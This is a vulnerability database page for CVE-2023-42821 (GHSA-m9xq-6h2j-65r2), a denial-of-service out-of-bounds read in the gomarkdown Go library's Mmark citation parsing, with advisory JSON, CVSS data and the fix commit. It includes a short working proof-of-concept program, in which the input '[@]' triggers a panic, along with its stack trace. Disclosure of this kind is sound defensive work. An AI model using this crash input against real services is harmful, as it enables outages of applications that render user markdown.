Vulnerability-Lookup

GHSA-M9XQ-6H2J-65R2

Vulnerability from github – Published: 2023-09-22 19:59 – Updated: 2023-09-27 13:55

Summary

Markdown vulnerable to Out-of-bounds Read while parsing citations

Details

Summary

Parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability.

Details

To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length.

https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69

PoC

package main

import (
    "github.com/gomarkdown/markdown"
    "github.com/gomarkdown/markdown/parser"
)

func main() {
    ext := parser.CommonExtensions |
        parser.Attributes |
        parser.OrderedListStart |
        parser.SuperSubscript |
        parser.Mmark
    p := parser.NewWithExtensions(ext)

    inp := []byte("[@]")
    markdown.ToHTML(inp, p, nil)
}

$ go run main.go
panic: runtime error: index out of range [1] with length 1

goroutine 1 [running]:
github.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?)
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/citation.go:69 +0x544
github.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?)
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/inline.go:308 +0x1c0
github.com/gomarkdown/markdown/parser.(*Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3})
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/inline.go:38 +0xb8
github.com/gomarkdown/markdown/parser.(*Parser).Parse.func1({0x102d87f48?, 0x14000076180}, 0x0?)
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/parser.go:307 +0x8c
github.com/gomarkdown/markdown/ast.NodeVisitorFunc.Visit(0x140000106e0?, {0x102d87f48?, 0x14000076180?}, 0x68?)
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:574 +0x38
github.com/gomarkdown/markdown/ast.Walk({0x102d87f48, 0x14000076180}, {0x102d87348, 0x140000106e0})
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:546 +0x58
github.com/gomarkdown/markdown/ast.Walk({0x102d877b0, 0x14000076120}, {0x102d87348, 0x140000106e0})
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:557 +0x144
github.com/gomarkdown/markdown/ast.WalkFunc(...)
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:580
github.com/gomarkdown/markdown/parser.(*Parser).Parse(0x14000152000, {0x1400000e3f0?, 0x0?, 0x0?})
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/parser.go:304 +0x16c
github.com/gomarkdown/markdown.Parse({0x1400000e3f0?, 0x3f?, 0x14000141e38?}, 0x102c6b43c?)
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/markdown.go:53 +0x6c
github.com/gomarkdown/markdown.ToHTML({0x1400000e3f0?, 0x0?, 0x60?}, 0x0?, {0x0, 0x0})
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/markdown.go:77 +0x30
main.main()
    /Users/demon/tools/markdown_cve_poc/main.go:17 +0x5c
exit status 2

Impact

Denial of Service / panic

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gomarkdown/markdown"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20230922105210-14b16010c2ee"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-42821"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-22T19:59:49Z",
    "nvd_published_at": "2023-09-22T17:15:14Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nParsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability.\n\n### Details\nTo exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length.\n\nhttps://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69\n\n### PoC\n```go\npackage main\n\nimport (\n\t\"github.com/gomarkdown/markdown\"\n\t\"github.com/gomarkdown/markdown/parser\"\n)\n\nfunc main() {\n\text := parser.CommonExtensions |\n\t\tparser.Attributes |\n\t\tparser.OrderedListStart |\n\t\tparser.SuperSubscript |\n\t\tparser.Mmark\n\tp := parser.NewWithExtensions(ext)\n\n\tinp := []byte(\"[@]\")\n\tmarkdown.ToHTML(inp, p, nil)\n}\n```\n\n```bash\n$ go run main.go\npanic: runtime error: index out of range [1] with length 1\n\ngoroutine 1 [running]:\ngithub.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/citation.go:69 +0x544\ngithub.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/inline.go:308 +0x1c0\ngithub.com/gomarkdown/markdown/parser.(*Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/inline.go:38 +0xb8\ngithub.com/gomarkdown/markdown/parser.(*Parser).Parse.func1({0x102d87f48?, 0x14000076180}, 0x0?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/parser.go:307 +0x8c\ngithub.com/gomarkdown/markdown/ast.NodeVisitorFunc.Visit(0x140000106e0?, {0x102d87f48?, 0x14000076180?}, 0x68?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:574 +0x38\ngithub.com/gomarkdown/markdown/ast.Walk({0x102d87f48, 0x14000076180}, {0x102d87348, 0x140000106e0})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:546 +0x58\ngithub.com/gomarkdown/markdown/ast.Walk({0x102d877b0, 0x14000076120}, {0x102d87348, 0x140000106e0})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:557 +0x144\ngithub.com/gomarkdown/markdown/ast.WalkFunc(...)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:580\ngithub.com/gomarkdown/markdown/parser.(*Parser).Parse(0x14000152000, {0x1400000e3f0?, 0x0?, 0x0?})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/parser.go:304 +0x16c\ngithub.com/gomarkdown/markdown.Parse({0x1400000e3f0?, 0x3f?, 0x14000141e38?}, 0x102c6b43c?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/markdown.go:53 +0x6c\ngithub.com/gomarkdown/markdown.ToHTML({0x1400000e3f0?, 0x0?, 0x60?}, 0x0?, {0x0, 0x0})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/markdown.go:77 +0x30\nmain.main()\n\t/Users/demon/tools/markdown_cve_poc/main.go:17 +0x5c\nexit status 2\n```\n\n### Impact\nDenial of Service / panic\n",
  "id": "GHSA-m9xq-6h2j-65r2",
  "modified": "2023-09-27T13:55:11Z",
  "published": "2023-09-22T19:59:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gomarkdown/markdown/security/advisories/GHSA-m9xq-6h2j-65r2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42821"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gomarkdown/markdown/commit/14b16010c2ee7ff33a940a541d993bd043a88940"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gomarkdown/markdown"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Markdown vulnerable to Out-of-bounds Read while parsing citations"
}

CVE-2023-42821 (GCVE-0-2023-42821)

Vulnerability from cvelistv5 – Published: 2023-09-22 16:55 – Updated: 2024-09-24 19:27

Title

github.com/gomarkdown/markdown Out-of-bounds Read while parsing citations

Summary

The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion `0.0.0-20230922105210-14b16010c2ee`, which corresponds with commit `14b16010c2ee7ff33a940a541d993bd043a88940`, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have `parser.Mmark` extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit `14b16010c2ee7ff33a940a541d993bd043a88940`/pseudoversion `0.0.0-20230922105210-14b16010c2ee` contains a patch for this issue.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-125 - Out-of-bounds Read

Assigner

GitHub_M

References

URL

Tags

	https://github.com/gomarkdown/markdown/security/a…	x_refsource_CONFIRM
	https://github.com/gomarkdown/markdown/commit/14b…	x_refsource_MISC
	https://github.com/gomarkdown/markdown/blob/7478c…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	gomarkdown	markdown	Affected: < 0.0.0-20230922105210-14b16010c2ee

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T19:30:24.609Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "https://github.com/gomarkdown/markdown/security/advisories/GHSA-m9xq-6h2j-65r2",
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://github.com/gomarkdown/markdown/security/advisories/GHSA-m9xq-6h2j-65r2"
          },
          {
            "name": "https://github.com/gomarkdown/markdown/commit/14b16010c2ee7ff33a940a541d993bd043a88940",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/gomarkdown/markdown/commit/14b16010c2ee7ff33a940a541d993bd043a88940"
          },
          {
            "name": "https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2023-42821",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-24T19:26:08.128213Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-24T19:27:42.779Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "markdown",
          "vendor": "gomarkdown",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.0.0-20230922105210-14b16010c2ee"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion `0.0.0-20230922105210-14b16010c2ee`, which corresponds with commit `14b16010c2ee7ff33a940a541d993bd043a88940`, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have `parser.Mmark` extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit `14b16010c2ee7ff33a940a541d993bd043a88940`/pseudoversion `0.0.0-20230922105210-14b16010c2ee` contains a patch for this issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-125",
              "description": "CWE-125: Out-of-bounds Read",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-09-22T16:55:33.355Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/gomarkdown/markdown/security/advisories/GHSA-m9xq-6h2j-65r2",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/gomarkdown/markdown/security/advisories/GHSA-m9xq-6h2j-65r2"
        },
        {
          "name": "https://github.com/gomarkdown/markdown/commit/14b16010c2ee7ff33a940a541d993bd043a88940",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gomarkdown/markdown/commit/14b16010c2ee7ff33a940a541d993bd043a88940"
        },
        {
          "name": "https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69"
        }
      ],
      "source": {
        "advisory": "GHSA-m9xq-6h2j-65r2",
        "discovery": "UNKNOWN"
      },
      "title": "github.com/gomarkdown/markdown Out-of-bounds Read while parsing citations"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2023-42821",
    "datePublished": "2023-09-22T16:55:33.355Z",
    "dateReserved": "2023-09-14T16:13:33.310Z",
    "dateUpdated": "2024-09-24T19:27:42.779Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-M9XQ-6H2J-65R2

Summary

Details

PoC

Impact

CVE-2023-42821 (GCVE-0-2023-42821)

Tags

Sightings

Nomenclature